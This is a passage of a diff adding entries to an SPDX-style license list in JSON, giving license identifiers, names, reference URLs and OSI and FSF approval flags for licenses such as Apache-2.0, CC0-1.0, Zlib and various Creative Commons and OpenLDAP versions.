+ "detailsUrl": "https://spdx.org/licenses/O-UDA-1.0.json",
+ "referenceNumber": 59,
+ "name": "Open Use of Data Agreement v1.0",
+ "licenseId": "O-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Open-Use-of-Data-Agreement/blob/v1.0/O-UDA-1.0.md",
+ "https://cdla.dev/open-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.7.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.7.json",
+ "referenceNumber": 60,
+ "name": "Open LDAP Public License v2.7",
+ "licenseId": "OLDAP-2.7",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d47c2415c1df81556eeb39be6cad458ef87c534a2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glulxe.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glulxe.json",
+ "referenceNumber": 61,
+ "name": "Glulxe License",
+ "licenseId": "Glulxe",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Glulxe"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/iMatix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/iMatix.json",
+ "referenceNumber": 62,
+ "name": "iMatix Standard Function Library Agreement",
+ "licenseId": "iMatix",
+ "seeAlso": [
+ "http://legacy.imatix.com/html/sfl/sfl4.htm#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TAPR-OHL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TAPR-OHL-1.0.json",
+ "referenceNumber": 63,
+ "name": "TAPR Open Hardware License v1.0",
+ "licenseId": "TAPR-OHL-1.0",
+ "seeAlso": [
+ "https://www.tapr.org/OHL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NBPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NBPL-1.0.json",
+ "referenceNumber": 64,
+ "name": "Net Boolean Public License v1",
+ "licenseId": "NBPL-1.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d37b4b3f6cc4bf34e1d3dec61e69914b9819d8894"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-R-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-R-1.1.json",
+ "referenceNumber": 65,
+ "name": "Licence Libre du Québec – Réciprocité version 1.1",
+ "licenseId": "LiLiQ-R-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-R-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Noweb.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Noweb.json",
+ "referenceNumber": 66,
+ "name": "Noweb License",
+ "licenseId": "Noweb",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Noweb"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC0-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC0-1.0.json",
+ "referenceNumber": 67,
+ "name": "Creative Commons Zero v1.0 Universal",
+ "licenseId": "CC0-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/publicdomain/zero/1.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Protection.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Protection.json",
+ "referenceNumber": 68,
+ "name": "BSD Protection License",
+ "licenseId": "BSD-Protection",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_Protection_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.5.json",
+ "referenceNumber": 69,
+ "name": "Creative Commons Attribution Non Commercial 2.5 Generic",
+ "licenseId": "CC-BY-NC-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zlib.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zlib.json",
+ "referenceNumber": 70,
+ "name": "zlib License",
+ "licenseId": "Zlib",
+ "seeAlso": [
+ "http://www.zlib.net/zlib_license.html",
+ "https://opensource.org/licenses/Zlib"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.json",
+ "referenceNumber": 71,
+ "name": "GNU Free Documentation License v1.3 or later - invariants",
+ "licenseId": "GFDL-1.3-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-AT.json",
+ "referenceNumber": 72,
+ "name": "Creative Commons Attribution 3.0 Austria",
+ "licenseId": "CC-BY-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3c.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3c.json",
+ "referenceNumber": 73,
+ "name": "LaTeX Project Public License v1.3c",
+ "licenseId": "LPPL-1.3c",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3c.txt",
+ "https://opensource.org/licenses/LPPL-1.3c"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-1.0.json",
+ "referenceNumber": 74,
+ "name": "Eclipse Public License 1.0",
+ "licenseId": "EPL-1.0",
+ "seeAlso": [
+ "http://www.eclipse.org/legal/epl-v10.html",
+ "https://opensource.org/licenses/EPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.json",
+ "referenceNumber": 75,
+ "name": "GNU Free Documentation License v1.1 or later - invariants",
+ "licenseId": "GFDL-1.1-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD-fallback.json",
+ "referenceNumber": 76,
+ "name": "ANTLR Software Rights Notice with license fallback",
+ "licenseId": "ANTLR-PD-fallback",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.4.json",
+ "referenceNumber": 77,
+ "name": "Open LDAP Public License v2.4",
+ "licenseId": "OLDAP-2.4",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcd1284c4a91a8a380d904eee68d1583f989ed386"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.3.json",
+ "referenceNumber": 78,
+ "name": "Open LDAP Public License v2.3",
+ "licenseId": "OLDAP-2.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dd32cf54a32d581ab475d23c810b0a7fbaf8d63c3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.1.json",
+ "referenceNumber": 79,
+ "name": "Zope Public License 2.1",
+ "licenseId": "ZPL-2.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/ZPL/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-2.0.json",
+ "referenceNumber": 80,
+ "name": "Apache License 2.0",
+ "licenseId": "Apache-2.0",
+ "seeAlso": [
+ "https://www.apache.org/licenses/LICENSE-2.0",
+ "https://opensource.org/licenses/Apache-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-2.0.json",
+ "referenceNumber": 81,
+ "name": "SGI Free Software License B v2.0",
+ "licenseId": "SGI-B-2.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.2.0.pdf"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Hippocratic-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Hippocratic-2.1.json",
+ "referenceNumber": 82,
+ "name": "Hippocratic License 2.1",
+ "licenseId": "Hippocratic-2.1",
+ "seeAlso": [
+ "https://firstdonoharm.dev/version/2/1/license.html",
+ "https://github.com/EthicalSource/hippocratic-license/blob/58c0e646d64ff6fbee275bfe2b9492f914e3ab2a/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.json",
+ "referenceNumber": 83,
+ "name": "Creative Commons Attribution Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-SA-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.json",
+ "referenceNumber": 84,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-NC-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-or-later.json",
+ "referenceNumber": 85,
+ "name": "GNU Lesser General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-US.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-US.json",
+ "referenceNumber": 86,
+ "name": "Creative Commons Attribution 3.0 United States",
+ "licenseId": "CC-BY-3.0-US",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/us/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCP-wrappers.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCP-wrappers.json",
+ "referenceNumber": 87,
+ "name": "TCP Wrappers License",
+ "licenseId": "TCP-wrappers",
+ "seeAlso": [
+ "http://rc.quest.com/topics/openssh/license.php#tcpwrappers"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.json",
+ "referenceNumber": 88,
+ "name": "GNU Free Documentation License v1.2 or later - invariants",
+ "licenseId": "GFDL-1.2-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Eurosym.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Eurosym.json",
+ "referenceNumber": 89,
+ "name": "Eurosym License",
+ "licenseId": "Eurosym",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Eurosym"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1.json",
+ "referenceNumber": 90,
+ "name": "GNU Free Documentation License v1.1",
+ "licenseId": "GFDL-1.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.0.json",
+ "referenceNumber": 91,
+ "name": "LaTeX Project Public License v1.0",
+ "licenseId": "LPPL-1.0",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-0.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0+.json",
+ "referenceNumber": 92,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.0.json",
+ "referenceNumber": 93,
+ "name": "SGI Free Software License B v1.0",
+ "licenseId": "SGI-B-1.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APL-1.0.json",
+ "referenceNumber": 94,
+ "name": "Adaptive Public License 1.0",
+ "licenseId": "APL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/APL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/libtiff.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libtiff.json",
+ "referenceNumber": 95,
+ "name": "libtiff License",
+ "licenseId": "libtiff",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/libtiff"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.1.json",
+ "referenceNumber": 96,
+ "name": "Academic Free License v2.1",
+ "licenseId": "AFL-2.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-2.1.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-1.0.json",
+ "referenceNumber": 97,
+ "name": "Creative Commons Attribution Non Commercial 1.0 Generic",
+ "licenseId": "CC-BY-NC-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GD.json",
+ "referenceNumber": 98,
+ "name": "GD License",
+ "licenseId": "GD",
+ "seeAlso": [
+ "https://libgd.github.io/manuals/2.3.0/files/license-txt.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.1.json",
+ "referenceNumber": 99,
+ "name": "Academic Free License v1.1",
+ "licenseId": "AFL-1.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.1.txt",
+ "http://wayback.archive.org/web/20021004124254/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.json",
+ "referenceNumber": 100,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 IGO",
+ "licenseId": "CC-BY-NC-ND-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-DFS-2015.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2015.json",
+ "referenceNumber": 101,
+ "name": "Unicode License Agreement - Data Files and Software (2015)",
+ "licenseId": "Unicode-DFS-2015",
+ "seeAlso": [
+ "https://web.archive.org/web/20151224134844/http://unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-only.json",
+ "referenceNumber": 102,
+ "name": "GNU Free Documentation License v1.2 only",
+ "licenseId": "GFDL-1.2-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.1.json",
+ "referenceNumber": 103,
+ "name": "Mozilla Public License 1.1",
+ "licenseId": "MPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.1.html",
+ "https://opensource.org/licenses/MPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-only.json",
+ "referenceNumber": 104,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-4.0.json",
+ "referenceNumber": 105,
+ "name": "Creative Commons Attribution Non Commercial 4.0 International",
+ "licenseId": "CC-BY-NC-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeImage.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeImage.json",
+ "referenceNumber": 106,
+ "name": "FreeImage Public License v1.0",
+ "licenseId": "FreeImage",
+ "seeAlso": [
+ "http://freeimage.sourceforge.net/freeimage-license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.51.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.51.json",
+ "referenceNumber": 107,
+ "name": "Solderpad Hardware License, Version 0.51",
+ "licenseId": "SHL-0.51",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.51/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Jython.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Jython.json",
+ "referenceNumber": 108,
+ "name": "CNRI Jython License",
+ "licenseId": "CNRI-Jython",
+ "seeAlso": [
+ "http://www.jython.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-1.1.json",
+ "referenceNumber": 109,
+ "name": "Zope Public License 1.1",
+ "licenseId": "ZPL-1.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Afmparse.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Afmparse.json",
+ "referenceNumber": 110,
+ "name": "Afmparse License",
+ "licenseId": "Afmparse",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Afmparse"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.1.json",
+ "referenceNumber": 111,
+ "name": "Open LDAP Public License v2.1",
+ "licenseId": "OLDAP-2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db0d176738e96a0d3b9f85cb51e140a86f21be715"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Rdisc.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Rdisc.json",
+ "referenceNumber": 112,
+ "name": "Rdisc License",
+ "licenseId": "Rdisc",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Rdisc_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Imlib2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Imlib2.json",
+ "referenceNumber": 113,
+ "name": "Imlib2 License",
+ "licenseId": "Imlib2",
+ "seeAlso": [
+ "http://trac.enlightenment.org/e/browser/trunk/imlib2/COPYING",
+ "https://git.enlightenment.org/legacy/imlib2.git/tree/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-Shortened.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-Shortened.json",
+ "referenceNumber": 114,
+ "name": "BSD 4 Clause Shortened",
+ "licenseId": "BSD-4-Clause-Shortened",
+ "seeAlso": [
+ "https://metadata.ftp-master.debian.org/changelogs//main/a/arpwatch/arpwatch_2.1a15-7_copyright"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail.json",
+ "referenceNumber": 115,
+ "name": "Sendmail License",
+ "licenseId": "Sendmail",
+ "seeAlso": [
+ "http://www.sendmail.com/pdfs/open_source/sendmail_license.pdf",
+ "https://web.archive.org/web/20160322142305/https://www.sendmail.com/pdfs/open_source/sendmail_license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5.json",
+ "referenceNumber": 116,
+ "name": "Creative Commons Attribution 2.5 Generic",
+ "licenseId": "CC-BY-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AAL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AAL.json",
+ "referenceNumber": 117,
+ "name": "Attribution Assurance License",
+ "licenseId": "AAL",
+ "seeAlso": [
+ "https://opensource.org/licenses/attribution"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.json",
+ "referenceNumber": 118,
+ "name": "Mozilla Public License 2.0 (no copyleft exception)",
+ "licenseId": "MPL-2.0-no-copyleft-exception",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.json",
+ "referenceNumber": 119,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-NC-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-NL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-NL.json",
+ "referenceNumber": 120,
+ "name": "Creative Commons Attribution 3.0 Netherlands",
+ "licenseId": "CC-BY-3.0-NL",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/nl/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.02.json",
+ "referenceNumber": 121,
+ "name": "Lucent Public License v1.02",
+ "licenseId": "LPL-1.02",
+ "seeAlso": [
+ "http://plan9.bell-labs.com/plan9/license.html",
+ "https://opensource.org/licenses/LPL-1.02"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-1.0.json",
+ "referenceNumber": 122,
+ "name": "Educational Community License v1.0",
+ "licenseId": "ECL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-no-RFN.json",
+ "referenceNumber": 123,
+ "name": "SIL Open Font License 1.0 with no Reserved Font Name",
+ "licenseId": "OFL-1.0-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.json",
+ "referenceNumber": 124,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-NC-SA-3.0-DE",
